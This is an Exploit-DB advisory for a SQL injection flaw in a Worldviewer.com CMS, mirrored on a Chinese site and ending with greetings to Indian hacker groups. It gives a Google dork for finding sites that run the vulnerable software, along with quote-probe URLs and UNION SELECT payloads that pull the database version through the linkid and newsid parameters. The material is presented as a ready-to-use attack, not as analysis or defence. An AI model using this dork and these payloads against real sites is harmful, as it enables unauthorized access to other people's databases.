Worldviewer.com CMS – SQL Injection - 体验盒子

作者： 41.w4r10r aka AN1L

日期： 2010-04-12

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12163/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

# Exploit Title: Worldviewer.com CMS SQL Injection Vulnerability

# Date: 12-4-2010

# Author: 41.w4r10r aka AN1L

# Software Link :

# Version: Web Application

# Tested on: Apcahe/Unix

# CVE : [if exists]

# Dork :inurl:"php/showContent.php?linkid=" Or inurl:"/php/showNews.php?newsid="

# Code :

This Is The CMS Created by The Leading WebDevelopment Company Worldviewer.com For There Clients and all have same

vulnerability.....

Exploited Link :

1) http://example.com/php/showContent.php?linkid=5'

2) http://example.com/php/showNews.php?newsid=39'

Live Demo :

1) http://example.com/php/showNews.php?newsid=-5+union+select+all+1,version()--

2) http://example.com/php/showContent.php?linkid=-5+union+select+all+version()--

#41.w4r10r (41.w4r10r@andhrahackers.com<mailto:41.w4r10r@andhrahackers.com><mailto:41.w4r10r@andhrahackers.com<mailto:41.w4r10r@andhrahackers.com>>)

#################################################################################################

#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]

#Thanks: SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,DJ Hoodlum Don,Akee

#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d

#Catch us at www.andhrahackers.com<http://www.andhrahackers.com><http://www.andhrahackers.com> or www.teamicw.in<http://www.teamicw.in><http://www.teamicw.in>